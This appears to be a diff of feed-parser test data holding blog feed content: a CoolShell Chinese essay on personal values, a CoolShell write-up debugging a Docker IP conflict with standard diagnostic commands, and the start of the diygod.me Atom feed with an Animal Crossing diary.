    再后来发现,要抵制的越来越多,小时候的美英帝国主义,然后是日本,再后面是法国、韩国、菲利宾、印度、德国、瑞典、加拿大……从小时候的台独到现在的港独、藏独、疆独……发现再这样下去,基本上来说,自己的人生也不用干别的事了……另外,随着自己的成长,越来越明白,抵制这个抵制那个只不过是幼稚和狭隘的爱国主义,真想强国,想别让他人看得起,就应该把时间和精力放在努力学习放在精益求精上,做出比他们更好的东西来。另外,感觉用对内的爱国主义解决对外的外交问题也有点驴唇不对马嘴,无非也就是转移一下内部的注意力罢了,另外还发现爱国主义还可以成为消费营销手段……不是我不爱国,是我觉得世道变复杂了,我只是一个普通的老百姓,能力有限,请不要赋予我那么大的使命,我只想在我的专业上精进,能力所能及地帮助身边的人,过一个简单纯粹安静友善的生活……

    +

    另外,为什么国与国之间硬要比个你高我低,硬要分个高下,硬要争出个输赢,我也不是太理解,世界都已经发展到全球化的阶段了,很多产品早就是你中有我,我中有你的情况了。举个例子,一部手机中的元件,可能来自全世界数十个国家,我们已经说不清楚一部手机是究竟是哪个国家生产的了。即然,整个世界都在以一种合作共赢全球化的姿态下运作,认准自己的位置,拥抱世界,持续向先进国家学习,互惠互利,不好吗?你可能会说,不是我们不想这样,是别人不容我们发展……老实说,大的层面我也感受不到,但就我在的互联网计算机行业方面,我觉得整个世界的开放性越来越好,开源项目空前地繁荣,世界上互联网文化也空前的开放,在计算机和互联网行业,我们享受了太多的开源和开放的红利,人家不开放,我们可能在很多领域还落后数十年。然而现在很多资源我们都访问不了,用个VPN也非法,你说是谁阻碍了发展?我只想能够流畅地访问互联网,让我的工作能够更有效率,然而,我在自己的家里却像做贼一样去学习新知识新技术,随时都有可能被抓进监狱……

    +

    随着自己的经历越多,发现这个世界越复杂,也发现自己越渺小,很多国家大事并不是我不关心,是我觉得那根本不是我这个平头老百姓可以操心的事,这个世界有这个世界运作的规律和方法,而还有很多事情超出了我能理解的范围,也超出了我能控制的范围,我关心不关心都一个样,这些大事都不会由我的意志所决定的。而所谓的关心,无非就是喊喊口号,跟人争论一下,试图改变其它老百姓的想法,然而,对事情的本身的帮助却没有多大意义。过上几天,生活照旧,人家该搞你还不是继续搞你,而你自己并不因为做这些事而过得更好。

    +

    我对国与国之间的关系的态度是,有礼有节,不卑不亢,对待外国人,有礼貌但也要有节气,既不卑躬屈膝,也不趾高气昂,整体上,我并不觉得我们比国外有多差,但我也不觉得我们比国外有多好,我们还在成长,还需要帮助和协作,四海之内皆兄弟,无论在哪个国家,在老百姓的世界里,哪有那么多矛盾。有机会多出去走走,多结交几个其它民族的朋友,你会觉得,在友善和包容的环境下,你的心情和生活可以更好

    +

    我现在更多关心的是和我生活相关的东西,比如:上网、教育、医疗、食品、治安、税务、旅游、收入、物价、个人权益、个人隐私……这些东西对我的影响会更大一些,也更值得关注,可以看到过去的几十年,我们国家已经有了长足的进步,这点也让我让感到很开心和自豪的,在一些地方也不输别人。但是,依然有好些事的仍然没有达到我的预期,而且还很糟糕,这个也要承认。而对,未来的变数谁也不好说,我在这个国度里的安全感似乎还不足够,所以,我还是要继续努力,以便我可以有更多的选项。有选项总比没得选要好。所以,我想尽一切办法,努力让选项多起来,无法改变无法影响,那就只能提高自己有可选择的可能性

    +

    面对社会

    +

    另外,在网上与别人对一些事或观点的争论,我觉得越来越无聊,以前被怼了,一定要怼回去,现在不会了,视而不见,不是怕了,是因为,网络上的争论在我看来大多数都是些没有章法,逻辑混乱的争论。

    +
      +
    • 很多讨论不是说事,直接就是怼人骂人。随意就给人扣个帽子。
    • +
    • 非黑即白的划分,你说这个不是黑的,他们就把你划到白的那边。
    • +
    • 飘移观点,复杂化问题。东拉西扯,牵强附会,还扯出其它不相关的事来混淆。
    • +
    • 杠精很多,不关心你的整体观点,抓住一个小辫子大作文章。
    • +
    +

    很明显,与其花时间教育这些人,不如花时间提升自己,让自己变得更优秀,这样就有更高的可能性去接触更聪明更成功更高层次的人。因为,一方面,你改变不了他们,另外,改变他们对你自己也没什么意义,改变自己,提升自己,让自己成长才有意义。时间是宝贵的,那些人根本不值得花时间,应该花时间去结交更有素质更聪明的人,做更有价值的事。

    +

    美国总统富兰克林·罗斯福妻子埃莉诺·罗斯福(Eleanor Roosevelt)说过下面的一句话。

    +

    Great minds discuss ideas;
    +Average minds discuss events;
    +Small minds discuss people

    +

    把时间多放在一些想法上,对自己对社会都是有意义的,把时间放在八卦别人,说长到短,你也不可能改善自己的生活,你批评这个批评那个,看不上这个看不起那个,不会让你有成长,也不会提升你的影响力,你的影响力不是你对别人说长道短的能力,而是别人信赖你并希望得到你的帮助的现象。多交一些有想法的朋友,多把自己的想法付诸实践,那怕没有成功,你的人生也会比别人过得有意义。

    +

    如果你看过我以前的文章,你会看到一些吐槽性质的文章,而后面就再也没有了。另外,我也不再没有针对具体的某个人做出评价,因为人太复杂的了,经历的越多,你就会发现你很难评价人,与其花时间在评论人和事上,不如把时间花在做一些力所能及的事来改善自己或身边的环境。所以,我建议大家少一些对人的指责和批评,通过对一件事来引发你的思考,想一想有什么可以改善,有什么方法可以做得更好,有哪些是自己可以添砖加瓦的?你会发现,只要你坚持这么做,你个人的提升和对社会的价值会越来越大,而你的影响力也会越来越大

    +

    面对人生

    +

    现在的我,即不是左派也不是右派,我不喜欢爱国主义,我也不喜欢崇洋媚外,我更多的时候是一个自由派,哪边我都不站,我站我自己。因为,生活在这样的一个时代,能让自己过好都是一些比较奢望的事了。

    +

    《教父》里有这样的人生观:第一步要努力实现自我价值,第二步要全力照顾好家人,第三步要尽可能帮助善良的人,第四步为族群发声,第五步为国家争荣誉。事实上作为男人,前两步成功,人生已算得上圆满,做到第三步堪称伟大,而随意颠倒次序的那些人,一般不值得信任。这也是古人的“修身齐家治国平天下”!所以,在你我准备要开始要“平天下”的时候,也得先想想,自己的生活有没有过好了,家人照顾好了么,身边有哪些力所能及的事是可以去改善的……

    +

    穷则独善其身,达则兼济天下。提升自己,实现自我,照顾好自己的家人,帮助身边的人。这已经很不错了!

    +

    什么样的人干什么样的事,什么样的阶段做什么样的选择,有人的说,选择比努力更重要的,我深以为然,而且,我觉得选择和决定,比努力更难,努力是认准了一个事后不停地发力,而决定要去认准哪个事是自己该坚持努力的,则是令人彷徨和焦虑的(半途而废的人也很多)。面对人生,你每天都在作一个一个的决定,在做一个又一个的选择,有的决定大,有的决定小,你的人生的轨迹就是被这一个一个的决定和选择所走走出来的。

    +

    我在24岁放弃了一房子离开银行到小公司的时候,我就知道,人生的选择就是一个翘翘板,你要一头就没有另一头,选择是有代价的,你不选择的代价更大;选择是要冒险的,你不敢冒险的风险更大;选择是需要放弃的,因为无论怎么选你都会要放弃。想想你老了以后,回头一看,好多事情在年轻的时候都不敢做,而你再也没有机会,你就知道不敢选择不敢冒险的代价有多大了。选择就是一种 trade-off,这世上根本不会有什么完美,只要你想做事,你有雄心壮志,你的人生就是一个坑接着一个坑,你所能做的就是找到你喜欢的方向跳坑。

    +

    所以, 你要想清楚你要什么,不要什么,而且还不能要得太多,这样你才好做选择。否则,你影响你的因子太多,决定不好做,也做不好。

    +

    就像最前面说的一样,你是激进派还是保守派,你是喜欢领导还是喜欢跟从,你是注重长期还是注重短期,你是注重过程还是注重结果……等等,你对这些东西的坚持和守护,成为了你的“三观”,而你的三观则影响着你的选择,而你的选择影响着你的人生。

    +

    价值取向

    +

    下面是一些大家经常在说,可能也是大多数人关心的问题,就这些问题,我也谈谈我的价值取向。

    +

    挣钱。挣钱是一个大家都想做的事,但你得解决一个很核心的问题,那就是为什么别人愿意给你钱?对于挣钱的价值观从我大学毕业到现我就没怎么变过,那就是我更多关注的是怎么提高自己的能力,让自己值那个价钱,让别人愿意付钱。另外一方面,我发现,越是有能力的人,就越不计较一些短期得失,越计较短期得失的人往往都是很平庸的人。有能力的人不会关心自己的年终奖得拿多少,会不会晋升,他们更多的关心自己真正的实力有没有超过更多的人,更多的关注的是自己长远的成长,而不是一时的利益。聪明的人从来不关心眼前的得失,不会关心表面上的东西,他们更多关心的是长期利益,关心长期利益的人一定不是投机者,一定是投资者,投资会把自己的时间精力金钱投资在能让自己成长和提升的地方,那些让自己可以操更大的盘的地方,他们培养自己的领导力和影响力。而投机者在职场上会通过溜须拍马讨好领导,在学习上追求速成,在投资上使用跟随策略,在创业上甚至会不择手段,当风险来临时,投机者是几乎完全没有抗风险能力的,他们所谓的能力只不过因为形势好。

    +

     

    +

    技术。对于计算机技术来说,要学的东西实在是太多,我并不害怕要学的东西很多,因为学习能力是一个好的工程师必需具备的事,我不惧怕困难和挑战。我觉得在语言和技术争论谁好谁坏是一种幼稚的表现, 没有完美的技术,Engineering 玩的是 Tradeoff。所以,我对没有完美的技术并不担心,但是我反而担心的是,当我们进入到一些公司后,这些公司会有一些技术上的沉淀也就是针对公司自己的专用技术,比如一些中间件,一些编程框架,lib库什么的。老实说,我比较害怕公司的专用技术,因为一旦失业,我建立在这些专用技术上的技能也会随之瓦解,有时候,我甚至害怕把我的技术建立在某一个平台上,小众的不用说了,大众的我也比较担扰,比如Windows或Unix/Linux上,因为一旦这个平台不流行或是被取代,那么我也会随之淘汰(过去的这20年已经发生过太多这样的事了)。为了应对这样的焦虑,我更愿意花时间在技术的原理和技术的本质上,这导致我需要了解各种各样的技术的设计方法,以及内在原理。所以,当国内的绝大多数程序员们更多的关注架构性能的今天,我则花更多的时间去了解编程范式,代码重构,软件设计,计算机系统原理,领域设计,工程方法……因为只有原理、本质和设计思想才可能让我不会被绑在某个专用技术或平台上,除非,我们人类的计算机这条路没走对。

    +

     

    +

    职业。在过去20多年的职业生涯中,我从基层工程师做到管理,很多做技术的人都会转管理,但我却还是扎根技术,就算是在今天,还是会抠很多技术细节,包括写代码。因为我心里觉得,不写代码的人一定是做不好技术管理的,因为做技术管理有人要做技术决定,从不上手技术的人是做不好技术决定的,另一方面,我觉得管理是支持性的工作,不是产出性的工作,大多数的管理者无非是因为组织大了,所以需要管人管事,所以,必然要花大量的时间和精力处理各种问题,甚至办公室政治,然而,如果有一天失业了,大环境变得不好了,一个管理者和一个程序员要出去找工作,程序员会比管理者更能自食其力。所以,我并不觉得管理者这个职业有意思,我还是觉得程序员这个有创造性的职业更有趣。通常来说,管理者的技能力需要到公司和组织里才能展现,而有创造力的技能的人是可以自己独立的能力,所以,我觉得程序员的技能比管理者的技能能让我更稳定更自地活着。所以,我更喜欢“电影工作组”那样的团队和组织形式。

    +

     

    +

    打工。对于打工,也就是加入一家公司工作,无论是在一家小公司还是一家大公司工作,都会有好的和不好的,任何公司都有其不完美的地方,这个需要承认。首先第一的肯定是完成公司交给你的任务(但我也不会是傻傻地完成工作,对于一些有问题的任务我也会提出我的看法),然后我会尽我所能在工作找到可以提高效率的地方进行改善。在推动公司/部门/团队在一技术和工程方面进步并不是一件很容易的事,因为进步是需要成本的,有时候,这种成本并不一定是公司和团队愿意接受的,而另外,从客观规律上来说,一件事的进步一定是会有和现状有一些摩擦的。有的人害怕有摩擦而忍了,而我则不是,我觉得与别人的摩擦并不可怕,因为大家的目标都是基本一致的,只是做事的标准和方式不一样,这是可能沟通的,始终是会相互理解的。而如果你没有去推动一个事,我觉得对于公司对于我个人来说,都是一种对人生的浪费,敬业也好,激情也好,其就是体现在你是否愿意冒险去推动一件于公于私都有利的事,而不是成为一个“听话”、“随大流”、“懒政”的人,即耽误了公司也耽误了自己。所以,我更信仰的是《做正确的事情,等着被开除》,这些东西,可参看《我看绩效考核》,以及我在Gitchat上的一些问答

    +

     

    +

    创业。前两天,有个小伙来跟我说,说他要离开BAT要去创业公司了,说在那些更自由一些,没有大公司的种种问题。我毫不犹豫地教育了他一下,我说,你选择这个创业公司的动机不对啊,你无非就是在逃避一些东西罢了,你把创业公司当做是一个避风港,这是不对的,创业公司的问题可能会更多,去创业公司的更好的心态是,这个创业公司在干的事业是不是你的事业?说白了,如果你是为了你的事业,为了解决个什么,为了改进个什么,那么,创业是适合你的,也只有在做自己事业的时候,你才能不惧困难,才会勇敢地面对一切那种想找一个安稳的避风港呆着的心态是不会让你平静地,你要知道世界本来就是不平静的,找了自己的归宿和目标才可能让你真正的平静。所以,在我现的创业团队,我不要求大家加班,我也不鸡汤洗脑,对于想要加入的人,我会跟他讲我现在遇到的各种问题以及各种机遇,并一直在让他自己思考,我们在做的事是不是自己的事业诉求?还可不可以更好?每个人都应该为自己的事业为自己的理想去活一次,追逐自己的事业和理想并不容易,需要有很大的付出,而也只有你心底里的那个理想值得这么大的付出……

    +

     

    +

    客户。基于上述的价值观,在我现在创业的时候,我在面对客户的时候,也是一样的,我并不会完全的迁就于客户,我的一些银行客户和互联网客户应该体会到我的做的方式了,我并不觉得迁就用户,用户要什么我就应该给什么,用户想听什么,我就说什么,虽然这样可以省着精力,更圆滑,但这都不是我喜欢的,我更愿意鲜明地表达我的观点,并拉着用户跟我一起成长,因为我并不觉得完成客户的项目有成就感,我的成就感来自客户的成长。所以,面对客户有些做得不对有问题有隐患的地方,或是有什么做错的事,我基本上都是直言不讳地说出来,因为我觉得把真实的相法说出来是对客户和对自己最基本的尊重,不管客户最终的选择是什么,我都要把利弊跟客户讲清楚。我并不是在这里装,因为,我也想做一些更高级更有技术含量的事,所以,对于一些还达到的客户,我如果不把他们拉上来,我也对不起自己。

    +

     

    +

    在我“不惑之年”形成了这些价值观体系,也许未来还会变,也许还不成熟,总之,我不愿跟大多数人一样,因为大多数人都是随遇而安随大流的,因为这样风险最小,而我想走一条属于自己的路,做真正的自己,就像我24岁从银行里出来时想的那样,我选择对了一个正确的专业(计算机科学),呆在了一个正确的年代(信息化革命),这样的“狗屎运”几百年不遇,如果我还患得患失,那我岂不辜负活在这样一个刺激的时代?!我所要做的就是在这个时代中做有价值的事就好了!这个时代真的是太好了!

    +

    (全文完)

    +


    关注CoolShell微信公众账号和微信小程序

    +
    +

    (转载本站文章请注明作者和出处 酷 壳 – CoolShell ,请勿用于任何商业用途)

    +
    +
    ——=== 访问 酷壳404页面 寻找遗失儿童。 ===——
    + + +]]>
    + + https://coolshell.cn/articles/19085.html/feed + 134 + + +
    + + 记一次Kubernetes/Docker网络排障 + https://coolshell.cn/articles/18654.html + https://coolshell.cn/articles/18654.html#comments + + + Sat, 08 Dec 2018 11:57:35 +0000 + + + + + + + + + https://coolshell.cn/?p=18654 + + Read More Read More

    ]]>
    + 昨天周五晚上,临下班的时候,用户给我们报了一个比较怪异的Kubernetes集群下的网络不能正常访问的问题,让我们帮助查看一下,我们从下午5点半左右一直跟进到晚上十点左右,在远程不能访问用户机器只能远程遥控用户的情况找到了的问题。这个问题比较有意思,我个人觉得其中的调查用到的的命令以及排障的一些方法可以分享一下,所以写下了这篇文章。

    +

    问题的症状

    +

    用户直接在微信里说,他们发现在Kuberbnetes下的某个pod被重启了几百次甚至上千次,于是开启调查这个pod,发现上面的服务时而能够访问,时而不能访问,也就是有一定概率不能访问,不知道是什么原因。而且并不是所有的pod出问题,而只是特定的一两个pod出了网络访问的问题。用户说这个pod运行着Java程序,为了排除是Java的问题,用户用 docker exec -it 命令直接到容器内启了一个 Python的 SimpleHttpServer来测试发现也是一样的问题。

    +

    我们大概知道用户的集群是这样的版本,Kuberbnetes 是1.7,网络用的是flannel的gw模式,Docker版本未知,操作系统CentOS 7.4,直接在物理机上跑docker,物理的配置很高,512GB内存,若干CPU核,上面运行着几百个Docker容器。

    +

    +

    问题的排查

    +
    问题初查
    +

    首先,我们排除了flannel的问题,因为整个集群的网络通信都正常,只有特定的某一两个pod有问题。而用 telnet ip port 的命令手工测试网络连接时有很大的概率出现 connection refused 错误,大约 1/4的概率,而3/4的情况下是可以正常连接的。

    +

    当时,我们让用户抓个包看看,然后,用户抓到了有问题的TCP连接是收到了 SYN 后,立即返回了 RST, ACK

    +

    +

    我问一下用户这两个IP所在的位置,知道了,10.233.14.129 是 docker010.233.14.145 是容器内的IP。所以,这基本上可以排除了所有和kubernets或是flannel的问题,这就是本地的Docker上的网络的问题。

    +

    对于这样被直接 Reset 的情况,在 telnet 上会显示 connection refused 的错误信息,对于我个人的经验,这种 SYN完直接返回 RST, ACK的情况只会有三种情况:

    +
      +
    1.  TCP链接不能建立,不能建立连接的原因基本上是标识一条TCP链接的那五元组不能完成,绝大多数情况都是服务端没有相关的端口号。
    2. +
    3. TCP链接建错误,有可能是因为修改了一些TCP参数,尤其是那些默认是关闭的参数,因为这些参数会导致TCP协议不完整。
    4. +
    5. 有防火墙iptables的设置,其中有 REJECT 规则。
    6. +
    +

    因为当时还在开车,在等红灯的时候,我感觉到有点像 NAT 的网络中服务端开启了 tcp_tw_recycle 和 tcp_tw_reuse 的症况(详细参看《TCP的那些事(上)》),所以,让用户查看了一上TCP参数,发现用户一个TCP的参数都没有改,全是默认的,于是我们排除了TCP参数的问题。

    +

    然后,我也不觉得容器内还会设置上iptables,而且如果有那就是100%的问题,不会时好时坏。所以,我怀疑容器内的端口号没有侦听上,但是马上又好了,这可能会是应用的问题。于是我让用户那边看一下,应用的日志,并用 kublet describe看一下运行的情况,并把宿主机的 iptables 看一下。

    +

    然而,我们发现并没有任何的问题。这时,我们失去了所有的调查线索,感觉不能继续下去了……

    +
    重新梳理
    +

    这个时候,回到家,大家吃完饭,和用户通了一个电话,把所有的细节再重新梳理了一遍,这个时候,用户提供了一个比较关键的信息—— “抓包这个事,在 docker0 上可以抓到,然而到了容器内抓不到容器返回 RST, ACK ” !然而,根据我的知识,我知道在 docker0 和容器内的 veth 网卡上,中间再也没有什么网络设备了(参看《Docker基础技术:LINUX NAMESPACE(下)》)!

    +

    于是这个事把我们逼到了最后一种情况 —— IP地址冲突了!

    +

    Linux下看IP地址冲突还不是一件比较简单事的,而在用户的生产环境下没有办法安装一些其它的命令,所以只能用已有的命令,这个时候,我们发现用户的机器上有 arping 于是我们用这个命令来检测有没有冲突的IP地址。使用了下面的命令:

    +

    +$ arping -D -I docker0 -c 2 10.233.14.145
    +$ echo $?
    +

    +

    根据文档,-D 参数是检测IP地址冲突模式,如果这个命令的退状态是 0 那么就有冲突。结果返回了 1 。而且,我们用 arping IP的时候,没有发现不同的mac地址。 这个时候,似乎问题的线索又断了

    +

    因为客户那边还在处理一些别的事情,所以,我们在时断时续的情况下工作,而还一些工作都需要用户完成,所以,进展有点缓慢,但是也给我们一些时间思考问题。

    +
    柳暗花明
    +

    现在我们知道,IP冲突的可能性是非常大的,但是我们找不出来是和谁的IP冲突了。而且,我们知道只要把这台机器重启一下,问题一定就解决掉了,但是我们觉得这并不是解决问题的方式,因为重启机器可以暂时的解决掉到这个问题,而如果我们不知道这个问题怎么发生的,那么未来这个问题还会再来。而重启线上机器这个成本太高了。

    +

    于是,我们的好奇心驱使我们继续调查。我让用户 kubectl delete 其中两个有问题的pod,因为本来就服务不断重启,所以,删掉也没有什么问题。删掉这两个pod后(一个是IP为 10.233.14.145 另一个是 10.233.14.137),我们发现,kubernetes在其它机器上重新启动了这两个服务的新的实例。然而,在问题机器上,这两个IP地址居然还可以ping得通

    +

    好了,IP地址冲突的问题可以确认了。因为10.233.14.xxx 这个网段是 docker 的,所以,这个IP地址一定是在这台机器上。所以,我们想看看所有的 network namespace 下的 veth 网卡上的IP。

    +

    在这个事上,我们费了点时间,因为对相关的命令也 很熟悉,所以花了点时间Google,以及看相关的man。

    +
      +
    • 首先,我们到 /var/run/netns目录下查看系统的network namespace,发现什么也没有。
    • +
    • 然后,我们到 /var/run/docker/netns 目录下查看Docker的namespace,发现有好些。
    • +
    • 于是,我们用指定位置的方式查看Docker的network namespace里的IP地址
    • +
    +

    这里要动用 nsenter 命令,这个命令可以进入到namespace里执行一些命令。比如

    +

    +$ nsenter --net=/var/run/docker/netns/421bdb2accf1 ifconfig -a
    +

    +

    上述的命令,到 var/run/docker/netns/421bdb2accf1 这个network namespace里执行了 ifconfig -a 命令。于是我们可以用下面 命令来遍历所有的network namespace。

    +

    +$ ls /var/run/docker/netns | xargs -I {} nsenter --net=/var/run/docker/netns/{} ip addr 
    +

    +

    然后,我们发现了比较诡异的事情。

    +
      +
    • 10.233.14.145 我们查到了这个IP,说明,docker的namespace下还有这个IP。
    • +
    • 10.233.14.137,这个IP没有在docker的network namespace下查到。
    • +
    +

    有namespace leaking?于是我上网查了一下,发现了一个docker的bug – 在docker remove/stop 一个容器的时候,没有清除相应的network namespace,这个问题被报告到了 Issue#31597 然后被fix在了 PR#31996,并Merge到了 Docker的 17.05版中。而用户的版本是 17.09,应该包含了这个fix。不应该是这个问题,感觉又走不下去了。

    +

    不过, 10.233.14.137 这个IP可以ping得通,说明这个IP一定被绑在某个网卡,而且被隐藏到了某个network namespace下。

    +

    到这里,要查看所有network namespace,只有最后一条路了,那就是到 /proc/ 目录下,把所有的pid下的 /proc/<pid>/ns 目录给穷举出来。好在这里有一个比较方便的命令可以干这个事 : lsns

    +

    于是我写下了如下的命令:

    +

    +$ lsns -t net | awk ‘{print $4}' | xargs -t -I {} nsenter -t {}&nbsp;-n ip addr | grep -C 4 "10.233.14.137"
    +

    +

    解释一下。

    +
      +
    • lsns -t net 列出所有开了network namespace的进程,其第4列是进程PID
    • +
    • 把所有开过network namespace的进程PID拿出来,转给 xargs 命令
    • +
    • xargs 命令把这些PID 依次传给 nsenter 命令, +
        +
      • xargs -t 的意思是会把相关的执行命令打出来,这样我知道是那个PID。
      • +
      • xargs -I {}  是声明一个占位符来替换相关的PID
      • +
      +
    • +
    +

    最后,我们发现,虽然在 /var/run/docker/netns 下没有找到 10.233.14.137 ,但是在 lsns 中找到了三个进程,他们都用了10.233.14.137 这个IP(冲突了这么多),而且他们的MAC地址全是一样的!(怪不得arping找不到)。通过ps 命令,可以查到这三个进程,有两个是java的,还有一个是/pause (这个应该是kubernetes的沙盒)。

    +

    我们继续乘胜追击,穷追猛打,用pstree命令把整个进程树打出来。发现上述的三个进程的父进程都在多个同样叫 docker-contiane 的进程下!

    +

    这明显还是docker的,但是在docker ps 中却找不道相应的容器,什么鬼!快崩溃了……

    +

    继续看进程树,发现,这些 docker-contiane 的进程的父进程不在 dockerd 下面,而是在 systemd 这个超级父进程PID 1下,我靠!进而发现了一堆这样的野进程(这种野进程或是僵尸进程对系统是有害的,至少也是会让系统进入亚健康的状态,因为他们还在占着资源)。

    +

    docker-contiane 应该是 dockerd 的子进程,被挂到了 pid 1 只有一个原因,那就是父进程“飞”掉了,只能找 pid 1 当养父。这说明,这台机器上出现了比较严重的 dockerd 进程退出的问题,而且是非常规的,因为 systemd 之所以要成为 pid 1,其就是要监管所有进程的子子孙孙,居然也没有管理好,说明是个非常规的问题。(注,关于 systemd,请参看《Linux PID 1 和 Systemd 》,关于父子进程的事,请参看《Unix高级环境编程》一书)

    +

    接下来就要看看 systemddockerd 记录的日志了…… (然而日志只有3天的了,这3天dockerd没有任何异常)

    +

    总结

    +

    通过这个调查,可以总结一下,

    +

    1) 对于问题调查,需要比较扎实的基础知识,知道问题的成因和范围。

    +

    2)如果走不下去了,要重新梳理一下,回头仔细看一下一些蛛丝马迹,认真推敲每一个细节。

    +

    3) 各种诊断工具要比较熟悉,这会让你事半功倍。

    +

    4)系统维护和做清洁比较类似,需要经常看看系统中是否有一些僵尸进程或是一些垃圾东西,这些东西要及时清理掉。

    +

    最后,多说一下,很多人都说,Docker适合放在物理机内运行,这并不完全对,因为他们只考虑到了性能成本,没有考虑到运维成本,在这样512GB中启动几百个容器的玩法,其实并不好,因为这本质上是个大单体,因为你一理要重启某些关键进程或是机器,你的影响面是巨大的

    +

     

    +

    ———————— 更新 2018/12/10 —————————

    +

    问题原因

    +

    这两天在自己的环境下测试了一下,发现,只要是通过 systemctl start/stop docker 这样的命令来启停 Docker, 是可以把所有的进程和资源全部干掉的。这个是没有什么问题的。我唯一能重现用户问题的的操作就是直接 kill -9 <dockerd pid> 但是这个事用户应该不会干。而 Docker 如果有 crash 事件时,Systemd 是可以通过 journalctl -u docker 这样的命令查看相关的系统日志的。

    +

    于是,我找用户了解一下他们在Docker在启停时的问题,用户说,他们的执行 systemctl stop docker 这个命令的时候,发现这个命令不响应了,有可能就直接按了 Ctrl +C

    +

    这个应该就是导致大量的 docker-containe 进程挂到 PID 1 下的原因了。前面说过,用户的一台物理机上运行着上百个容器,所以,那个进程树也是非常庞大的,我想,停服的时候,系统一定是要遍历所有的docker子进程来一个一个发退出信号的,这个过程可能会非常的长。导致操作员以为命令假死,而直接按了 Ctrl + C ,最后导致很多容器进程并没有终止……

    +

     

    +

    其它事宜

    +

    有同学问,为什么我在这个文章里写的是 docker-containe 而不是 containd 进程?这是因为被 pstree 给截断了,用 ps 命令可以看全,只是进程名的名字有一个 docker-的前缀。

    +

    下面是这两种不同安装包的进程树的差别(其中 sleep 是我用 buybox 镜像启动的)

    +

    +systemd───dockerd─┬─docker-contained─┬─3*[docker-contained-shim─┬─sleep]
    +                  │                 │                    └─9*[{docker-containe}]]
    +                  │                 ├─docker-contained-shim─┬─sleep
    +                  │                 │                 └─10*[{docker-containe}]
    +                  │                 └─14*[{docker-contained-shim}]
    +                  └─17*[{dockerd}]
    +

    +

    +systemd───dockerd─┬─containerd─┬─3*[containerd-shim─┬─sleep]
    +                  │            │                 └─9*[{containerd-shim}]
    +                  │            ├─2*[containerd-shim─┬─sleep]
    +                  │            │                    └─9*[{containerd-shim}]]
    +                  │            └─11*[{containerd}]
    +                  └─10*[{dockerd}]
    +
    +

    +

    顺便说一下,自从 Docker 1.11版以后,Docker进程组模型就改成上面这个样子了.

    +
      +
    • dockerd 是 Docker Engine守护进程,直接面向操作用户。dockerd 启动时会启动 containerd 子进程,他们之前通过RPC进行通信。
    • +
    • containerddockerdrunc之间的一个中间交流组件。他与 dockerd 的解耦是为了让Docker变得更为的中立,而支持OCI 的标准 。
    • +
    • containerd-shim  是用来真正运行的容器的,每启动一个容器都会起一个新的shim进程, 它主要通过指定的三个参数:容器id,boundle目录(containerd的对应某个容器生成的目录,一般位于:/var/run/docker/libcontainerd/containerID), 和运行命令(默认为 runc)来创建一个容器。
    • +
    • docker-proxy 你有可能还会在新版本的Docker中见到这个进程,这个进程是用户级的代理路由。只要你用 ps -elf 这样的命令把其命令行打出来,你就可以看到其就是做端口映射的。如果你不想要这个代理的话,你可以在 dockerd 启动命令行参数上加上:  --userland-proxy=false 这个参数。
    • +
    +

    更多的细节,大家可以自行Google。这里推荐两篇文章:

    + +

    (全文完)

    +


    关注CoolShell微信公众账号和微信小程序

    +
    +

    (转载本站文章请注明作者和出处 酷 壳 – CoolShell ,请勿用于任何商业用途)

    +
    +
    ——=== 访问 酷壳404页面 寻找遗失儿童。 ===——
    + + +]]>
    + + https://coolshell.cn/articles/18654.html/feed + 47 + + +
    +
    +
    diff --git a/tests/feedlib/testdata/parser/well/diygod-me-atom.xml b/tests/feedlib/testdata/parser/well/diygod-me-atom.xml new file mode 100644 index 0000000..4bc952a --- /dev/null +++ b/tests/feedlib/testdata/parser/well/diygod-me-atom.xml @@ -0,0 +1,441 @@ + + + Hi, DIYgod + + + + + + 2020-04-07T19:41:20.826Z + https://diygod.me/ + + + DIYgod + + + + Hexo + + + 哀悼不应如此简单粗暴 + + https://diygod.me/no-gray/ + 2020-04-04T00:40:01.000Z + 2020-04-07T19:41:20.826Z + +
    1
    2
    3
    html, body {
    filter: none !important;
    }

    不是我故意标题党,本来已经写了一些的,但想了想这个博客还想要,所以还是做个书摘给大家吧

    “那我该怎么办?”
    “要多想。”
    “想了以后呢?”
    “北海,我只能告诉你那以前要多想。”

    ]]>
    + + + + + + <figure class="highlight css"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class=" + + + + + + +
    + + + 我的动森日记 + + https://diygod.me/animal-crossing/ + 2020-03-23T01:56:35.000Z + 2020-04-07T19:41:20.826Z + +

    DIY 对这里的生活绝对有很大的帮助!

    日记会持续更新,也欢迎加群来我的橙子冰淇淋樱花小提琴岛一起玩: 947956902

    第一天 3月19日 上岛第一天,DIY对这里的生活绝对有很大的帮助

    今天是上岛第一天!

    化妆、选岛、出发!

    用自己最喜欢的几个物品连起来给小岛取了名字:橙子冰淇淋樱花小提琴岛,岛上还有另外两个岛民:小猴天佑和青蛙小睫

    搭好了帐篷,也背上了第一个房贷

    钓到第一只鱼、抓到第一只昆虫、第一次被蜜蜂蜇到满脸包

    DIY 对这里的生活绝对有很大的帮助!(双关)

    第二天 3月20日 机场开放啦,来了好多其他岛的朋友

    昨天把第一笔房贷还完了所以今天盖了新房子,但马上又背上了新的房贷

    今天学会了撑杆跳,可以去小河对面玩了,挖到了第一个化石

    今天机场也终于开放了!来了好多其他岛的朋友

    和银酱联手把小霖抓起来

    追杀 Jemair

    青蛙小睫在跟我八卦小霖的小秘密

    我坐飞机也去了其他无人岛瞎逛,期间还遇到了小熊阿妹,邀请了她来我岛上定居

    晚上在岛上遇到了一只可爱的幽灵幽幽

    第三天 3月21日 商店开张啦、遇到海鸥吕游

    昨天把第二笔房贷还完了所以今天扩建了房子,但马上又背上了新的房贷(熟悉的剧情),198000 铃钱!

    一大早在沙滩上遇到了海鸥吕游,吕游遇难飘到了我家小岛沙滩,帮他打电话给他朋友来接他,但是…真替他担心

    半夜来这里钓鱼的时候,看到吕游还在这里等…

    今天商店开张啦,商店还说明天会有人过来卖大头菜,倒卖可以赚很多钱,哇我要发财了

    找到了一套鬼灭之刃的衣服!

    跟 Jemair 拍照

    跟 Jemair 去一个南半球朋友 Anakin 那里钓鱼,南半球跟北半球季节不同,所以可以钓到好多北半球没有的鱼

    第四天 3月22日 新岛民小熊阿妹、博物馆开业啦

    在家门口种的花全开了!

    去商店才发现卖大头菜的商人是只有上午才在,去的时候已经走了,痛失一次发财的机会

    前天邀请的小熊阿妹搬过来定居了,橙子冰淇淋樱花小提琴岛居民+1!

